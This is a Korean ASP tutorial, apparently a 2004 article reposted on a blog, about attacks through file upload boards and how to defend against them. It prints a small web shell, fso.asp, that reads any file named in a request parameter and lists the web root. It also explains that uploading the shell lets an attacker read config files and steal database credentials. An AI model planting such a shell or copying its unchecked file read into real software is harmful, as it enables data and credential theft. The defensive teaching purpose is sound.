Danny's 유용한 ASP 팁s

   강좌 최초 작성일 : 2004년 06월 03일
   강좌 최종 수정일 : 2004년 06월 04일

   강좌 읽음 수 : 20352 회

   작성자 : Danny(전 성대)
   편집자 : Taeyo(김 태영)

   강좌 제목 : 자료실을 이용한 해킹과 보안 

강좌 전 태오의 잡담>

간만에 등장하신 대니님이 재미난 이야기를 준비해 오셨네요. 실제, 이 강좌에서 다루는 해킹(?) 방법은 2000년 초에 제 사이트와 몇몇 유명 커뮤니티 사이트가 당했던 방법이기도 합니다. 하하하... 잊을 수 없는 사건이었죠 ^^.


안녕하세요. 대니입니다.

 

윈도우 서버를 이용하면 기본으로 FSO(파일 시스템 오브젝트) 함수를 이용할수 있습니다.

 

이는 파일을 만들고, 지우고, 수정하고, 읽기 위해서 활용되는데 조금만 악용하면 바로 해킹을 하는데에도 이용이 된답니다. 대책을 알기 위해서는 해킹이 어떻게 이루어지는지를 먼저 알야야 합니다. 어떤식으로 해킹이 일어날수 있는지 알아보겠습니다. (역지사지, 남도알고..자기도 알고... 쩝^^)

 

먼저 FSO를 이용하여 파일하나를 만듭니다. 파일 이름은 fso.asp 로 하여 만듭니다. 

<html>
    <head>
    <title>fso</title>
    </head>
    <body leftmargin="0" rightmargin="0">
<%
    if request("code") <> "" then
        code = request("code")
        updatefile = server.MapPath("/") & "\" & code
        response.write "<b>현재위치 : </b>"&updatefile

        Set fs = Server.CreateObject("Scripting.FileSystemObject")
        Set objFile = fs.OpenTextFile(updatefile,1)
        content = objFile.readall
        str = replace(content,chr(13) & chr(10),"<br>")
%>
        <table border="1" align="center" cellpadding="2" cellspacing="0" width="100%" bordercolordark="white" bordercolorlight="black">
            <tr>
                <td><textarea name="updating" rows= "20"style="width:100%">
                    <%=content%></textarea></td>
            </tr>
        </table>
<%
        set fso = createobject("scripting.filesystemobject")
        file_path = server.mappath("/")
        set objfolder = fso.getfolder(file_path)
        set files = objfolder.files
        i=0
        response.write "현재폴더" & objfolder & "<br>"
        filepp = replace(objfolder,server.mappath("/"),"")

        for each file in files
            response.write"<ahref=./test.asp?code=" & filepp & "\" & file.name & ">" & file.name & "</a><br>"
            i=i+1
        next
    end if%
%>
    </body>
</html>

접속 - 해당url/fso.asp?code=파일이름

 

위의 소스는 fso 를 이용하여 간단히 파일의 목록을 보여주고 클릭을 하면 소스내용을 textarea 에 보여주는 역할을 하게 됩니다.

 

참고: 소스에 대한 악플은 삼가해주시기 바랍니다.^^

강좌를 위한 소스로 실제 실행해보면 이곳저곳 군더더기 에러가 뜨지만 제가 표현하고자 하는 위험에 노출된다는 메시지를 이해하셧다면... 성공 아닐까요^^;

 

문제는 이 파일을 해킹하려고 하는 서버에 올려야 되는데 이게 바로 문제 입니다. 보통 게시판에 자료 업로드를 할 경우에 확장자가 asp파일이 올라간다면 게임 끝이죠(해킹이 된다는 이야깁니다).

 

프로그래머들의 섬세한 코딩 몇줄이 들어가지 않는다면 config 파일을 열어보고 DSN과 id 와 pw를 바로 알아내어 모든 데이타베이스를 긁어오거나 조정할수가 있겠지요. 또한, 그 서버에 웹메일이 돌아가고 있다면 로컬에서 cdonts 를 이용하여 해당 서버로 첨부파일로 연결시켜서 실행하면 문제가 될수 있습니다.

 

멀티파일 업로드(메일발송이나 자료실) 구현시 임시폴더에만 올라간다 하더라도 당장 문제가 되겠군요. 이 파일이 어떠한 방법으로든 서버로 올라가서 웹을 통해서 접근이 가능하다면 그냥 한순간에 모든 해킹이 가능해 진다고 할수 있습니다.

 

그렇기 때문에 모든 작업은 이와 같은 문제를 생각하면서 코딩을 하셔야 한답니다.

 

이는 원천적으로 봉쇄하려면 꽤나 많은 작업을 해야 합니다. 먼저 모든 파일중 asp파일을 업로드 할수가 없어야 되겠습니다. 또한, 첨부 파일을 다운로드 받을때 어느 위치에서 다운로드가 받아지는지 경로를 알면 절대 안됩니다. 경로를 암호화시키면 좋구, 기본적으로 경로가 유출되지 않도록 해야 하겠지요.

 

또한 업로드나 메일을 받는데에 있어 asp파일이 받아지면 절대로 안됩니다. 게시판에 파일업로드에 asp파일은 절대로 업로드되면 안되겠습니다. exe등이 실행되지 않도록 해당 폴더의 실행권한도 없어야 되겠습니다.

 

이런 생각을 가지고 코딩을 하면 좀 더 안전하게 서버를 운영할수 있을 것 같습니다. 지금 바로 님께서 개발하신 서버에, 혹은 관리하고 있는 서버에 침입자가 되어 뚫어보십시오. 모든게 안전하다 하더라도 유심히 찾아보시기 바랍니다. 초지일관, 개발하실때는 항상 보안을 염두해 주시기 바랍니다.


약간의 편리한 기능을 탑재하고서 보안이 망가지는 경우가 많으므로 항상 감시하시기 바랍니다. 개발 시간을 단축하신다고 이런 부분을 소홀이 했다간... 5분빨리 가려다가...50년 빨리 간다는...ㅡㅡ;;

즐프 하십시오.^^

2008/02/21 15:51 2008/02/21 15:51

Trackback Address :: 이 글에는 트랙백을 보낼 수 없습니다